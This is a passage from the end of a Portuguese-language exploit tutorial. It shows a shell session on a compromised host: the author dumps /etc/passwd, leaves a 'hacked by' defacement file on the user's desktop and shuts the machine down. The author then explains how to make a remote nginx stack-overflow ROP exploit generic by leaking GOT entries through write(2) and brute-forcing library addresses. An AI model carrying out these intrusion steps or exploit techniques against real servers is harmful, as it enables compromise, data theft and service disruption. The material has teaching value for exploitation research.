  2007. UP LOOPBACK RUNNING MTU:16436 Metric:1
  2008. RX packets:52 errors:0 dropped:0 overruns:0 frame:0
  2009. TX packets:52 errors:0 dropped:0 overruns:0 carrier:0
  2010. collisions:0 txqueuelen:0
  2011. RX bytes:4568 (4.5 KB) TX bytes:4568 (4.5 KB)
  2012.  
  2013. cat /etc/passwd
  2014. root:x:0:0:root:/root:/bin/bash
  2015. daemon:x:1:1:daemon:/usr/sbin:/bin/sh
  2016. bin:x:2:2:bin:/bin:/bin/sh
  2017. sys:x:3:3:sys:/dev:/bin/sh
  2018. sync:x:4:65534:sync:/bin:/bin/sync
  2019. games:x:5:60:games:/usr/games:/bin/sh
  2020. man:x:6:12:man:/var/cache/man:/bin/sh
  2021. lp:x:7:7:lp:/var/spool/lpd:/bin/sh
  2022. mail:x:8:8:mail:/var/mail:/bin/sh
  2023. news:x:9:9:news:/var/spool/news:/bin/sh
  2024. uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
  2025. proxy:x:13:13:proxy:/bin:/bin/sh
  2026. www-data:x:33:33:www-data:/var/www:/bin/sh
  2027. backup:x:34:34:backup:/var/backups:/bin/sh
  2028. list:x:38:38:Mailing List Manager:/var/list:/bin/sh
  2029. irc:x:39:39:ircd:/var/run/ircd:/bin/sh
  2030. gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
  2031. nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
  2032. libuuid:x:100:101::/var/lib/libuuid:/bin/sh
  2033. syslog:x:101:103::/home/syslog:/bin/false
  2034. messagebus:x:102:105::/var/run/dbus:/bin/false
  2035. avahi-autoipd:x:103:108:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
  2036. avahi:x:104:109:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
  2037. couchdb:x:105:113:CouchDB Administrator,,,:/var/lib/couchdb:/bin/bash
  2038. usbmux:x:106:46:usbmux daemon,,,:/home/usbmux:/bin/false
  2039. speech-dispatcher:x:107:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
  2040. kernoops:x:108:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
  2041. pulse:x:109:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false
  2042. rtkit:x:110:117:RealtimeKit,,,:/proc:/bin/false
  2043. saned:x:111:118::/home/saned:/bin/false
  2044. hplip:x:112:7:HPLIP system user,,,:/var/run/hplip:/bin/false
  2045. gdm:x:113:120:Gnome Display Manager:/var/lib/gdm:/bin/false
  2046. neo:x:1000:1000:Matrix,,,:/home/neo:/bin/bash
  2047. proftpd:x:114:65534::/var/run/proftpd:/bin/false
  2048. ftp:x:115:65534::/home/ftp:/bin/false
  2049.  
  2050. echo "hacked by F0rb1dd3n" > /home/neo/Desktop/OWNED
  2051. cat /home/neo/Desktop/OWNED
  2052. hacked by F0rb1dd3n
  2053. shutdown -h now
  2054.  
  2055. ----------------------------------------------------------------------------------------------
  2056.  
  2057. Own3d!!! F0rb1dd3n wins! Agora tudo isso parece tão fácil, não? Hacking é uma arte, basta
  2058. enchergarmos a beleza na execução dos bytes!
  2059.  
  2060. Vale ressaltar algumas coisas:
  2061.  
  2062. Como proposto pelo Kingcope no seu artigo sobre a exploração genérica do nginx para linux
  2063. systems, podemos utilizar a syscall ioctl() para ler mais memória do servidor com a chamada
  2064. de write(2). Seria algo assim:
  2065.  
  2066. -> ioctl plt offset
  2067. -> endereço "pop pop pop ret" gadget
  2068. -> argumentos ioctl
  2069. -> write(2) plt offset
  2070. -> argumentos para write(2)
  2071.  
  2072. Para efetuarmos um exploit mais genérico, podemos tentar descobrir o endereço de write(2)
  2073. fazendo bruteforce em um endereço de memória inicial incrementando em 4. Quando recebermos
  2074. os bytes, é pq achamos write(2).
  2075.  
  2076. Em cada chamada de biblioteca há uma instrução "jmp" que aponta para a GOT (Global Offset
  2077. Table). Com os bytes \xff\x25 podemos verificar o ponteiro para a GOT (que são os próximos
  2078. 4 bytes depois de \xff\x25). Com esse ponteiro podemos passar como parâmetro de buffer para
  2079. uma chamada write(2) para poder ler os bytes da biblioteca chamada pelo processo. Podemos
  2080. extrair o prefixo das funções mmap64 e memcpy usando o "objdump" ou debuggando a aplicação,
  2081. então basta fazer a mesma coisa que fizemos antes: comparar. Comparando os bytes do prefixo
  2082. das funções com os bytes das bibliotecas lidos, conseguimos achar o endereço correto de
  2083. mmap64 e memcpy (assim como fizemos para acharmos os gadgets de pop pop pop ret). Essa é uma
  2084. maneira eficaz. Uma outra forma de encontrarmos os endereços corretos de mmap64 e memcpy é
  2085. comparando os bytes dos prefixos das chamadas das funções pelo processo da aplicação
  2086. em busca de acharmos a instrução de chamada de mmap64 e memcpy (call "address"). Isso também
  2087. é outra maneira de encontrarmos os reais offsets das funções. Isso pode parecer um pouco
  2088. complicado, mas ao debugar a aplicação isso se torna mais claro. Ou seja, é possivel fazer
  2089. um exploit generalizado que poderá rodar em qualquer distribuição alvo. Assim asseguramos
  2090. que teremos sempre sucesso na exploração desta falha.
  2091.  
  2092.  
  2093.  
  2094. Então é isso pessoal! Espero que o leitor tenha gostado e ampliado seus conhecimentos.
  2095. Qualquer dúvida, podem entrar em contato no meu e-mail [email protected].
  2096.  
  2097.  
  2098. Um abraço,
  2099.  
  2100. F0rb1dd3n
  2101.  
  2102. |=-------------------------------------------------------------------------------------=|
  2103.  
  2104. Referências:
  2105.  
  2106. Scraps of notes on remote stack overflow exploitation - by pi3
  2107. http://phrack.org/issues/67/13.html#article
  2108.  
  2109. Uncovering Zero-Days and advanced fuzzing - by Kingcope
  2110. http://www.exploit-db.com/wp-content/themes/exploit/docs/18924.pdf
  2111.  
  2112. nginx Exploit Documentation About a Generic Way to Exploit Linux Targets - by Kingcope
  2113. http://www.exploit-db.com/wp-content/themes/exploit/docs/27074.pdf
  2114.  
  2115. Return Oriented Programming and ROPgadget tool - by Jonathan Salwan
  2116. http://shell-storm.org/blog/Return-Oriented-Programming-and-ROPgadget-tool/
  2117.  
  2118. |=-------------------------------------------------------------------------------------=|
  2119. © Offensive Security 2011
Advertisement
Add Comment
Please, Sign In to add comment